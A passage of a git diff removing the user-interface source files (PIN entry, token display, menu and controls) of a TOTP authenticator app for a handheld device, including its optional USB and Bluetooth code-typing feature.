memset(&scene_state->code_input[0], 0, MAX_CODE_LENGTH); - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); - scene_state->code_length = 0; - - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Try again", NULL, NULL); - dialog_message_set_header( - message, - "You entered\ninvalid PIN", - SCREEN_WIDTH_CENTER - 25, - SCREEN_HEIGHT_CENTER - 5, - AlignCenter, - AlignCenter); - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 72, 17); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - } - } - - return true; -} - -void totp_scene_authenticate_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h deleted file mode 100644 index 5ddd44a4a..000000000 --- a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_authenticate_activate(PluginState* plugin_state); -void totp_scene_authenticate_render(Canvas* const canvas, PluginState* plugin_state); -bool totp_scene_authenticate_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_authenticate_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c deleted file mode 100644 index 230438e63..000000000 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ /dev/null @@ -1,433 +0,0 @@ -#include "totp_scene_generate_token.h" -#include -#include -#include -#include "totp_icons.h" -#include -#include -#include -#include "../../canvas_extensions.h" -#include "../../../types/token_info.h" -#include "../../../types/common.h" -#include "../../constants.h" -#include "../../../services/config/config.h" -#include "../../scene_director.h" -#include "../../../config/app/config.h" -#include "../../../workers/generate_totp_code/generate_totp_code.h" -#include "../../../workers/usb_type_code/usb_type_code.h" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#include "../../../workers/bt_type_code/bt_type_code.h" -#endif - -#define PROGRESS_BAR_MARGIN (3) -#define PROGRESS_BAR_HEIGHT (4) - -typedef struct { - uint8_t progress_bar_x; - uint8_t progress_bar_width; - uint8_t code_total_length; - uint8_t code_offset_x; - uint8_t code_offset_y; -} UiPrecalculatedDimensions; - -typedef struct { - char last_code[TokenDigitsCountMax + 1]; - TotpUsbTypeCodeWorkerContext* usb_type_code_worker_context; - NotificationMessage const* notification_sequence_new_token[8]; - NotificationMessage const* notification_sequence_automation[11]; - FuriMutex* last_code_update_sync; - TotpGenerateCodeWorkerContext* generate_code_worker_context; - UiPrecalculatedDimensions ui_precalculated_dimensions; - const FONT_INFO* active_font; - NotificationApp* notification_app; -} SceneState; - -static const NotificationSequence* - get_notification_sequence_new_token(const PluginState* plugin_state, SceneState* scene_state) { - if(scene_state->notification_sequence_new_token[0] == NULL) { - NotificationMessage const** sequence = &scene_state->notification_sequence_new_token[0]; - *(sequence++) = &message_display_backlight_on; - *(sequence++) = &message_green_255; - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_on; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_note_c5; - } - - *(sequence++) = &message_delay_50; - - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_off; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_sound_off; - } - - *(sequence++) = NULL; - } - - return (NotificationSequence*)scene_state->notification_sequence_new_token; -} - -static const NotificationSequence* - get_notification_sequence_automation(const PluginState* plugin_state, SceneState* scene_state) { - if(scene_state->notification_sequence_automation[0] == NULL) { - NotificationMessage const** sequence = &scene_state->notification_sequence_automation[0]; - - *(sequence++) = &message_blue_255; - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_on; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_note_d5; //-V525 - *(sequence++) = &message_delay_50; - *(sequence++) = &message_note_e4; - *(sequence++) = &message_delay_50; - *(sequence++) = &message_note_f3; - } - - *(sequence++) = &message_delay_50; - - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_off; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_sound_off; - } - - *(sequence++) = NULL; - } - - return (NotificationSequence*)scene_state->notification_sequence_automation; -} - -static void update_totp_params(PluginState* const plugin_state, size_t token_index) { - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_go_to(iterator_context, token_index)) { - totp_generate_code_worker_notify( - scene_state->generate_code_worker_context, TotpGenerateCodeWorkerEventForceUpdate); - } -} - -static void draw_totp_code(Canvas* const canvas, const PluginState* const plugin_state) { - const SceneState* scene_state = plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - uint8_t code_length = totp_token_info_iterator_get_current_token(iterator_context)->digits; - - canvas_draw_str_ex( - canvas, - scene_state->ui_precalculated_dimensions.code_offset_x, - scene_state->ui_precalculated_dimensions.code_offset_y, - scene_state->last_code, - code_length, - scene_state->active_font); -} - -static void on_new_token_code_generated(bool time_left, void* context) { - PluginState* const plugin_state = context; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_get_total_count(iterator_context) == 0) { - return; - } - - SceneState* scene_state = plugin_state->current_scene_state; - const TokenInfo* current_token = totp_token_info_iterator_get_current_token(iterator_context); - const FONT_INFO* const font = scene_state->active_font; - - uint8_t char_width = font->charInfo[0].width; - scene_state->ui_precalculated_dimensions.code_total_length = - current_token->digits * (char_width + font->spacePixels); - scene_state->ui_precalculated_dimensions.code_offset_x = - (SCREEN_WIDTH - scene_state->ui_precalculated_dimensions.code_total_length) >> 1; - scene_state->ui_precalculated_dimensions.code_offset_y = - SCREEN_HEIGHT_CENTER - (font->height >> 1); - - if(time_left) { - notification_message( - scene_state->notification_app, - get_notification_sequence_new_token(plugin_state, scene_state)); - } - - totp_scene_director_force_redraw(plugin_state); -} - -static void on_code_lifetime_updated_generated(float code_lifetime_percent, void* context) { - PluginState* const plugin_state = context; - SceneState* scene_state = plugin_state->current_scene_state; - scene_state->ui_precalculated_dimensions.progress_bar_width = - (uint8_t)((float)(SCREEN_WIDTH - (PROGRESS_BAR_MARGIN << 1)) * code_lifetime_percent); - scene_state->ui_precalculated_dimensions.progress_bar_x = - ((SCREEN_WIDTH - (PROGRESS_BAR_MARGIN << 1) - - scene_state->ui_precalculated_dimensions.progress_bar_width) >> - 1) + - PROGRESS_BAR_MARGIN; - totp_scene_director_force_redraw(plugin_state); -} - -void totp_scene_generate_token_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - - plugin_state->current_scene_state = scene_state; - FURI_LOG_D(LOGGING_TAG, "Timezone set to: %f", (double)plugin_state->timezone_offset); - - scene_state->last_code_update_sync = furi_mutex_alloc(FuriMutexTypeNormal); - if(plugin_state->automation_method & AutomationMethodBadUsb) { - scene_state->usb_type_code_worker_context = totp_usb_type_code_worker_start( - scene_state->last_code, - TokenDigitsCountMax + 1, - scene_state->last_code_update_sync, - plugin_state->automation_kb_layout); - } - - scene_state->active_font = available_fonts[plugin_state->active_font_index]; - scene_state->notification_app = furi_record_open(RECORD_NOTIFICATION); - scene_state->notification_sequence_automation[0] = NULL; - scene_state->notification_sequence_new_token[0] = NULL; - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - - if(plugin_state->automation_method & AutomationMethodBadBt) { - if(plugin_state->bt_type_code_worker_context == NULL) { - plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); - } - totp_bt_type_code_worker_start( - plugin_state->bt_type_code_worker_context, - scene_state->last_code, - TokenDigitsCountMax + 1, - scene_state->last_code_update_sync, - plugin_state->automation_kb_layout); - } -#endif - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - scene_state->generate_code_worker_context = totp_generate_code_worker_start( - scene_state->last_code, - totp_token_info_iterator_get_current_token(iterator_context), - scene_state->last_code_update_sync, - plugin_state->timezone_offset, - &plugin_state->crypto_settings); - - totp_generate_code_worker_set_code_generated_handler( - scene_state->generate_code_worker_context, &on_new_token_code_generated, plugin_state); - - totp_generate_code_worker_set_lifetime_changed_handler( - scene_state->generate_code_worker_context, - &on_code_lifetime_updated_generated, - plugin_state); - - update_totp_params( - plugin_state, totp_token_info_iterator_get_current_token_index(iterator_context)); -} - -void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_state) { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_get_total_count(iterator_context) == 0) { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER - 10, - AlignCenter, - AlignCenter, - "Token list is empty"); - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER + 10, - AlignCenter, - AlignCenter, - "Press OK button to open menu"); - return; - } - - const SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - canvas_set_font(canvas, FontPrimary); - const char* token_name_cstr = - furi_string_get_cstr(totp_token_info_iterator_get_current_token(iterator_context)->name); - uint16_t token_name_width = canvas_string_width(canvas, token_name_cstr); - if(SCREEN_WIDTH - token_name_width > 18) { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER - 20, - AlignCenter, - AlignCenter, - token_name_cstr); - } else { - canvas_draw_str_aligned( - canvas, 9, SCREEN_HEIGHT_CENTER - 20, AlignLeft, AlignCenter, token_name_cstr); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, SCREEN_HEIGHT_CENTER - 24, 9, 9); - canvas_draw_box(canvas, SCREEN_WIDTH - 10, SCREEN_HEIGHT_CENTER - 24, 9, 9); - canvas_set_color(canvas, ColorBlack); - } - - draw_totp_code(canvas, plugin_state); - - canvas_draw_box( - canvas, - scene_state->ui_precalculated_dimensions.progress_bar_x, - SCREEN_HEIGHT - PROGRESS_BAR_MARGIN - PROGRESS_BAR_HEIGHT, - scene_state->ui_precalculated_dimensions.progress_bar_width, - PROGRESS_BAR_HEIGHT); - if(totp_token_info_iterator_get_total_count(iterator_context) > 1) { - canvas_draw_icon(canvas, 0, SCREEN_HEIGHT_CENTER - 24, &I_totp_arrow_left_8x9); - canvas_draw_icon( - canvas, SCREEN_WIDTH - 8, SCREEN_HEIGHT_CENTER - 24, &I_totp_arrow_right_8x9); - } - - if(plugin_state->automation_method & AutomationMethodBadUsb) { - canvas_draw_icon( - canvas, -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - SCREEN_WIDTH_CENTER - - (plugin_state->automation_method & AutomationMethodBadBt ? 33 : 15), -#else - SCREEN_WIDTH_CENTER - 15, -#endif - - SCREEN_HEIGHT_CENTER + 12, - &I_hid_usb_31x9); - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->automation_method & AutomationMethodBadBt && - plugin_state->bt_type_code_worker_context != NULL && - totp_bt_type_code_worker_is_advertising(plugin_state->bt_type_code_worker_context)) { - canvas_draw_icon( - canvas, - SCREEN_WIDTH_CENTER + - (plugin_state->automation_method & AutomationMethodBadUsb ? 2 : -15), - SCREEN_HEIGHT_CENTER + 12, - &I_hid_ble_31x9); - } -#endif -} - -bool totp_scene_generate_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { - return false; - } - - SceneState* scene_state; - if(event->input.type == InputTypeLong) { - if(event->input.key == InputKeyDown && - plugin_state->automation_method & AutomationMethodBadUsb) { - scene_state = (SceneState*)plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_usb_type_code_worker_notify( - scene_state->usb_type_code_worker_context, - TotpUsbTypeCodeWorkerEventType, - totp_token_info_iterator_get_current_token(iterator_context)->automation_features); - notification_message( - scene_state->notification_app, - get_notification_sequence_automation(plugin_state, scene_state)); - return true; - } -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - else if( - event->input.key == InputKeyUp && - plugin_state->automation_method & AutomationMethodBadBt) { - scene_state = (SceneState*)plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_bt_type_code_worker_notify( - plugin_state->bt_type_code_worker_context, - TotpBtTypeCodeWorkerEventType, - totp_token_info_iterator_get_current_token(iterator_context)->automation_features); - notification_message( - scene_state->notification_app, - get_notification_sequence_automation(plugin_state, scene_state)); - return true; - } -#endif - } else if(event->input.type == InputTypePress || event->input.type == InputTypeRepeat) { - switch(event->input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t current_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_roll_value_size_t( - ¤t_token_index, - 1, - 0, - totp_token_info_iterator_get_total_count(iterator_context) - 1, - RollOverflowBehaviorRoll); - - update_totp_params(plugin_state, current_token_index); - break; - } - case InputKeyLeft: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t current_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_roll_value_size_t( - ¤t_token_index, - -1, - 0, - totp_token_info_iterator_get_total_count(iterator_context) - 1, - RollOverflowBehaviorRoll); - - update_totp_params(plugin_state, current_token_index); - break; - } - case InputKeyOk: - break; - case InputKeyBack: - break; - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - } - - return true; -} - -void totp_scene_generate_token_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - totp_generate_code_worker_stop(scene_state->generate_code_worker_context); - - furi_record_close(RECORD_NOTIFICATION); - - if(plugin_state->automation_method & AutomationMethodBadUsb) { - totp_usb_type_code_worker_stop(scene_state->usb_type_code_worker_context); - } -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->automation_method & AutomationMethodBadBt) { - totp_bt_type_code_worker_stop(plugin_state->bt_type_code_worker_context); - } -#endif - - furi_mutex_free(scene_state->last_code_update_sync); - - free(scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h deleted file mode 100644 index 3f7bc0408..000000000 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_generate_token_activate(PluginState* plugin_state); -void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_state); -bool totp_scene_generate_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_generate_token_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/scenes/standby/standby.c b/applications/external/totp/ui/scenes/standby/standby.c deleted file mode 100644 index 14408ba55..000000000 --- a/applications/external/totp/ui/scenes/standby/standby.c +++ /dev/null @@ -1,13 +0,0 @@ -#include "standby.h" -#include "totp_icons.h" -#include -#include "../../constants.h" - -void totp_scene_standby_render(Canvas* const canvas) { - canvas_draw_icon(canvas, SCREEN_WIDTH - 56, SCREEN_HEIGHT - 48, &I_DolphinCommon_56x48); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 5, 10, AlignLeft, AlignTop, "CLI command"); - - canvas_draw_str_aligned(canvas, 5, 24, AlignLeft, AlignTop, "is running now"); -} \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/standby/standby.h b/applications/external/totp/ui/scenes/standby/standby.h deleted file mode 100644 index 78e2b0915..000000000 --- a/applications/external/totp/ui/scenes/standby/standby.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#include - -void totp_scene_standby_render(Canvas* const canvas); \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c deleted file mode 100644 index 7eb4ea87c..000000000 --- a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c +++ /dev/null @@ -1,193 +0,0 @@ -#include "totp_scene_token_menu.h" -#include -#include -#include "../../ui_controls.h" -#include "../../common_dialogs.h" -#include "../../constants.h" -#include "../../scene_director.h" -#include "../../../services/config/config.h" -#include "../../../types/token_info.h" -#include "../../../config/app/config.h" -#include - -#define SCREEN_HEIGHT_THIRD (SCREEN_HEIGHT / 3) -#define SCREEN_HEIGHT_THIRD_CENTER (SCREEN_HEIGHT_THIRD >> 1) - -typedef enum { AddNewToken, DeleteToken, AppSettings } Control; - -typedef struct { - Control selected_control; -} SceneState; - -void totp_scene_token_menu_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - plugin_state->current_scene_state = scene_state; -} - -void totp_scene_token_menu_render(Canvas* const canvas, PluginState* plugin_state) { - const SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_get_total_count(iterator_context) == 0) { - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - 5, - 72, - 21, - "Add new token", - scene_state->selected_control == AddNewToken); - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - 39, - 72, - 21, - "Settings", - scene_state->selected_control == AppSettings); - } else { - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - SCREEN_HEIGHT_THIRD_CENTER - 8, - 72, - 16, - "Add new token", - scene_state->selected_control == AddNewToken); - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - SCREEN_HEIGHT_THIRD + SCREEN_HEIGHT_THIRD_CENTER - 8, - 72, - 16, - "Delete token", - scene_state->selected_control == DeleteToken); - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - SCREEN_HEIGHT_THIRD + SCREEN_HEIGHT_THIRD + SCREEN_HEIGHT_THIRD_CENTER - 8, - 72, - 16, - "Settings", - scene_state->selected_control == AppSettings); - } -} - -bool totp_scene_token_menu_handle_event(const PluginEvent* const event, PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(event->input.type == InputTypePress) { - switch(event->input.key) { - case InputKeyUp: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - AddNewToken, - AppSettings, - RollOverflowBehaviorRoll); - if(scene_state->selected_control == DeleteToken && - totp_token_info_iterator_get_total_count(iterator_context) == 0) { - scene_state->selected_control--; - } - break; - } - case InputKeyDown: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - AddNewToken, - AppSettings, - RollOverflowBehaviorRoll); - if(scene_state->selected_control == DeleteToken && - totp_token_info_iterator_get_total_count(iterator_context) == 0) { - scene_state->selected_control++; - } - break; - } - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - break; - case InputKeyBack: { - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - break; - } - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - switch(scene_state->selected_control) { - case AddNewToken: { -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED - totp_scene_director_activate_scene(plugin_state, TotpSceneAddNewToken); -#else - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Back", NULL, NULL); - dialog_message_set_header(message, "Information", 0, 0, AlignLeft, AlignTop); - dialog_message_set_text( - message, - "Read here\nhttps://t.ly/8ZOtj\n how to add new token", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); -#endif - break; - } - case DeleteToken: { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "No", NULL, "Yes"); - dialog_message_set_header(message, "Confirmation", 0, 0, AlignLeft, AlignTop); - dialog_message_set_text( - message, - "Are you sure want to delete?", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - DialogMessageButton dialog_result = - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(dialog_result == DialogMessageButtonRight && - totp_token_info_iterator_get_total_count(iterator_context) > 0) { - if(!totp_token_info_iterator_remove_current_token_info(iterator_context)) { - totp_dialogs_config_updating_error(plugin_state); - return false; - } - - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } - break; - } - case AppSettings: { - totp_scene_director_activate_scene(plugin_state, TotpSceneAppSettings); - break; - } - default: - break; - } - } - - return true; -} - -void totp_scene_token_menu_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h deleted file mode 100644 index a715c9748..000000000 --- a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_token_menu_activate(PluginState* plugin_state); -void totp_scene_token_menu_render(Canvas* const canvas, PluginState* plugin_state); -bool totp_scene_token_menu_handle_event(const PluginEvent* const event, PluginState* plugin_state); -void totp_scene_token_menu_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/totp_scenes_enum.h b/applications/external/totp/ui/totp_scenes_enum.h deleted file mode 100644 index fa7c427dc..000000000 --- a/applications/external/totp/ui/totp_scenes_enum.h +++ /dev/null @@ -1,47 +0,0 @@ -#pragma once - -#include "../config/app/config.h" - -typedef uint8_t Scene; - -/** - * @brief TOTP application scenes - */ -enum Scenes { - /** - * @brief Empty scene which does nothing - */ - TotpSceneNone, - - /** - * @brief Scene where user have to enter PIN to authenticate - */ - TotpSceneAuthentication, - - /** - * @brief Scene where actual TOTP token is getting generated and displayed to the user - */ - TotpSceneGenerateToken, - -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED - /** - * @brief Scene where user can add new token - */ - TotpSceneAddNewToken, -#endif - - /** - * @brief Scene with a menu for given token, allowing user to do multiple actions - */ - TotpSceneTokenMenu, - - /** - * @brief Scene where user can change application settings - */ - TotpSceneAppSettings, - - /** - * @brief Scene which informs user that CLI command is running - */ - TotpSceneStandby -}; diff --git a/applications/external/totp/ui/ui_controls.c b/applications/external/totp/ui/ui_controls.c deleted file mode 100644 index 2bd31f931..000000000 --- a/applications/external/totp/ui/ui_controls.c +++ /dev/null @@ -1,139 +0,0 @@ -#include "ui_controls.h" -#include "totp_icons.h" -#include -#include "constants.h" - -#define TEXT_BOX_HEIGHT (13) -#define TEXT_BOX_MARGIN (4) - -void ui_control_text_box_render( - Canvas* const canvas, - int16_t y, - const char* text, - bool is_selected) { - if(y < -TEXT_BOX_HEIGHT) { - return; - } - - if(is_selected) { - canvas_draw_rframe( - canvas, - TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - SCREEN_WIDTH - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 0); - canvas_draw_rframe( - canvas, - TEXT_BOX_MARGIN - 1, - TEXT_BOX_MARGIN + y - 1, - SCREEN_WIDTH - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN + 2, - TEXT_BOX_HEIGHT + 2, - 1); - } else { - canvas_draw_rframe( - canvas, - TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - SCREEN_WIDTH - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 1); - } - - canvas_draw_str_aligned( - canvas, TEXT_BOX_MARGIN + 2, TEXT_BOX_MARGIN + 3 + y, AlignLeft, AlignTop, text); -} - -void ui_control_select_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - const char* text, - bool is_selected) { - if(y < -TEXT_BOX_HEIGHT) { - return; - } - - if(is_selected) { - canvas_draw_rframe( - canvas, - x + TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - width - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 0); - canvas_draw_rframe( - canvas, - x + TEXT_BOX_MARGIN - 1, - TEXT_BOX_MARGIN + y - 1, - width - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN + 2, - TEXT_BOX_HEIGHT + 2, - 1); - } else { - canvas_draw_rframe( - canvas, - x + TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - width - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 1); - } - - canvas_draw_str_aligned( - canvas, x + (width >> 1), TEXT_BOX_MARGIN + 3 + y, AlignCenter, AlignTop, text); - canvas_draw_icon( - canvas, x + TEXT_BOX_MARGIN + 2, TEXT_BOX_MARGIN + 2 + y, &I_totp_arrow_left_8x9); - canvas_draw_icon( - canvas, x + width - TEXT_BOX_MARGIN - 10, TEXT_BOX_MARGIN + 2 + y, &I_totp_arrow_right_8x9); -} - -void ui_control_button_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - uint8_t height, - const char* text, - bool is_selected) { - if(y < -height) { - return; - } - - if(is_selected) { - canvas_draw_rbox(canvas, x, y, width, height, 1); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_draw_rframe(canvas, x, y, width, height, 1); - } - - canvas_draw_str_aligned( - canvas, x + (width >> 1), y + (height >> 1) + 1, AlignCenter, AlignCenter, text); - if(is_selected) { - canvas_set_color(canvas, ColorBlack); - } -} - -void ui_control_vscroll_render( - Canvas* const canvas, - uint8_t x, - uint8_t y, - uint8_t height, - uint8_t position, - uint8_t max_position) { - canvas_draw_line(canvas, x, y, x, y + height); - uint8_t block_height = height / MIN(10, max_position); - uint8_t block_position_y = - height * ((float)position / (float)max_position) - (block_height >> 1); - uint8_t block_position_y_abs = y + block_position_y; - if(block_position_y_abs + block_height > height) { - block_position_y_abs = height - block_height; - } - - canvas_draw_box( - canvas, - x - (UI_CONTROL_VSCROLL_WIDTH >> 1), - block_position_y_abs, - UI_CONTROL_VSCROLL_WIDTH, - block_height); -} diff --git a/applications/external/totp/ui/ui_controls.h b/applications/external/totp/ui/ui_controls.h deleted file mode 100644 index ccee4edfc..000000000 --- a/applications/external/totp/ui/ui_controls.h +++ /dev/null @@ -1,72 +0,0 @@ -#pragma once - -#include -#include - -#define UI_CONTROL_VSCROLL_WIDTH (3) - -/** - * @brief Renders TextBox control - * @param canvas canvas to render control at - * @param y vertical position of a control to be rendered at - * @param text text to be rendered inside control - * @param is_selected whether control should be rendered as focused or not - */ -void ui_control_text_box_render( - Canvas* const canvas, - int16_t y, - const char* text, - bool is_selected); - -/** - * @brief Renders Button control - * @param canvas canvas to render control at - * @param x horizontal position of a control to be rendered at - * @param y vertical position of a control to be rendered at - * @param width control width - * @param height control height - * @param text text to be rendered inside control - * @param is_selected whether control should be rendered as focused or not - */ -void ui_control_button_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - uint8_t height, - const char* text, - bool is_selected); - -/** - * @brief Renders Select control - * @param canvas canvas to render control at - * @param x horizontal position of a control to be rendered at - * @param y vertical position of a control to be rendered at - * @param width control width - * @param text text to be rendered inside control - * @param is_selected whether control should be rendered as focused or not - */ -void ui_control_select_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - const char* text, - bool is_selected); - -/** - * @brief Renders vertical scroll bar - * @param canvas canvas to render control at - * @param x horizontal position of a control to be rendered at - * @param y vertical position of a control to be rendered at - * @param height control height - * @param position current position - * @param max_position maximal position - */ -void ui_control_vscroll_render( - Canvas* const canvas, - uint8_t x, - uint8_t y, - uint8_t height, - uint8_t position, - uint8_t max_position); diff --git a/applications/external/totp/version.h b/applications/external/totp/version.h deleted file mode 100644 index 0b8597b0c..000000000 --- a/applications/external/totp/version.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#define TOTP_APP_VERSION_MAJOR (4) -#define TOTP_APP_VERSION_MINOR (0) -#define TOTP_APP_VERSION_PATCH (3) \ No newline at end of file diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.c b/applications/external/totp/workers/bt_type_code/bt_type_code.c deleted file mode 100644 index eff707099..000000000 --- a/applications/external/totp/workers/bt_type_code/bt_type_code.c +++ /dev/null @@ -1,233 +0,0 @@ -#include "bt_type_code.h" -#include -#include -#include -#include -#include -#include -#include 